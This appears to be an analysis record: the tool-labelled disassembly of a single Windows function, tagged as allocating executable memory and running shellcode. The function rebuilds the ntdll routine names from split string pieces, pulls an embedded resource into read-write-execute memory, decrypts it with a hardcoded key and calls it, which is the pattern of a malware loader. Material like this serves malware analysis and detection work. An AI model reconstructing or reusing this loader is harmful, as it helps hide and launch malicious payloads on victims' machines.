Function at 0x401c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xac
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EncryptFileA
push str.Advapi32.dll
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.C:WindowsSetupStateState.ini
call eax
test eax, eax
je 0x401ccb
pop esi
xor eax, eax
pop ebp
add esp, 0xac
ret 0x10
mov al, byte [esp + 0xa]
push ebx
xor ebx, ebx
push edi
push ebx
lea ecx, [esp + 0x60]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x44], 0xa
mov dword [esp + 0x48], 0x1e55
mov dword [esp + 0x4c], 0x409
mov byte [esp + 0x60], al
call fcn.00402410
mov edi, str.LdrFin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.LdrFin
lea ecx, [esp + 0x64]
call fcn.004024d0
push ebx
mov cl, byte [esp + 0x16]
mov byte [esp + 0x20], cl
lea ecx, [esp + 0x20]
call fcn.00402410
mov edi, str.dReso
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.dReso
lea ecx, [esp + 0x24]
call fcn.004024d0
push ebx
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x16]
mov byte [esp + 0x30], dl
call fcn.00402410
mov edi, str.urce_U
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.urce_U
lea ecx, [esp + 0x34]
call fcn.004024d0
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0x60]
push ecx
lea eax, [esp + 0x94]
push edx
push eax
call fcn.00402990
add esp, 0xc
lea ecx, [esp + 0xb0]
push eax
push ecx
call fcn.00402990
add esp, 0xc
lea ecx, [esp + 0x8c]
push 1
call fcn.00402410
push ebx
lea ecx, [esp + 0x70]
mov dl, byte [esp + 0x16]
mov byte [esp + 0x70], dl
call fcn.00402410
mov edi, 0x410190
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x410190
lea ecx, [esp + 0x74]
call fcn.004024d0
push ebx
lea ecx, [esp + 0x50]
mov al, byte [esp + 0x16]
mov byte [esp + 0x50], al
call fcn.00402410
mov edi, str.Acces
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Acces
lea ecx, [esp + 0x54]
call fcn.004024d0
push ebx
mov cl, byte [esp + 0x16]
mov byte [esp + 0x80], cl
lea ecx, [esp + 0x80]
call fcn.00402410
mov edi, str.sResource
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.sResource
lea ecx, [esp + 0x84]
call fcn.004024d0
lea edx, [esp + 0x7c]
lea eax, [esp + 0x4c]
push edx
lea ecx, [esp + 0x70]
push eax
lea edx, [esp + 0x94]
push ecx
push edx
call fcn.00402990
add esp, 0xc
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.00402990
add esp, 0xc
lea ecx, [esp + 0x8c]
push 1
call fcn.00402410
push str.ntdll.dll
call esi
mov esi, eax
push str.LdrFindResource_U
push esi
call ebp
push str.LdrAccessResource
push esi
mov dword [0x411614], eax
call ebp
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x40]
push ecx
push 3
push edx
push 0x400000
mov dword [0x411604], eax
call dword [0x411614]
test eax, eax
jl 0x401eec
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push ecx
push edx
push 0x400000
call dword [0x411604]
mov eax, dword [esp + 0x14]
push 0x40
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [esp + 0x18]
mov ebp, eax
mov ecx, dword [esp + 0x14]
mov edi, ebp
mov edx, ecx
lea eax, [esp + 0x12]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 0x71
rep movsb byte es:[edi], byte [esi]
push str.k_krX__WkP1_tMA8AgQjFj257WgoG_zAbD97I_R0T6zWEHFghnTYpfx6ww_3_bYfYc_KvOx3l4nWJo_2r__zMT__FAr65L_LW4O9WE9
call fcn.00401180
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x1e]
push ecx
push edx
push ebp
call fcn.00401220
add esp, 0x18
call ebp
mov eax, dword [esp + 0xc0]
push ebx
push 0x401a80
push ebx
push 0x65
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 1
lea ecx, [esp + 0xa0]
call fcn.00402410
push 1
lea ecx, [esp + 0x80]
call fcn.00402410
push 1
lea ecx, [esp + 0x50]
call fcn.00402410
push 1
lea ecx, [esp + 0x70]
call fcn.00402410
push 1
lea ecx, [esp + 0xb0]
call fcn.00402410
mov ecx, dword [esp + 0x30]
cmp ecx, ebx
je 0x401fba
mov al, byte [ecx - 1]
cmp al, bl
je 0x401fb0
cmp al, 0xff
je 0x401fb0
dec al
mov byte [ecx - 1], al
jmp 0x401fba
dec ecx
push ecx
call fcn.0040313a
add esp, 4
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x30], ebx
cmp ecx, ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
je 0x401fea
mov al, byte [ecx - 1]
cmp al, bl
je 0x401fe0
cmp al, 0xff
je 0x401fe0
dec al
mov byte [ecx - 1], al
jmp 0x401fea
dec ecx
push ecx
call fcn.0040313a
add esp, 4
mov ecx, dword [esp + 0x60]
mov dword [esp + 0x20], ebx
cmp ecx, ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
je 0x402027
mov al, byte [ecx - 1]
cmp al, bl
je 0x40201d
cmp al, 0xff
je 0x40201d
dec al
pop edi
pop ebx
mov byte [ecx - 1], al
pop esi
xor eax, eax
pop ebp
add esp, 0xac
ret 0x10
dec ecx
push ecx
call fcn.0040313a
add esp, 4
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
add esp, 0xac
ret 0x10